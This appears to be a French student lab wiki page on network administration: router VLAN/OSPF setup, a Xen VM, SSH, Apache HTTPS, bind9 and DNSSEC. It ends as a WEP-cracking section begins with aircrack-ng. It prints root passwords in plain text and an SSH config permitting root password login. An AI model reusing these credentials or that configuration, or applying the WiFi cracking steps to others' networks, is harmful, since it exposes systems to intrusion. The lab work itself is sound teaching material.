=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51577</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51577"/>
				<updated>2019-12-07T02:44:17Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Cassage WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
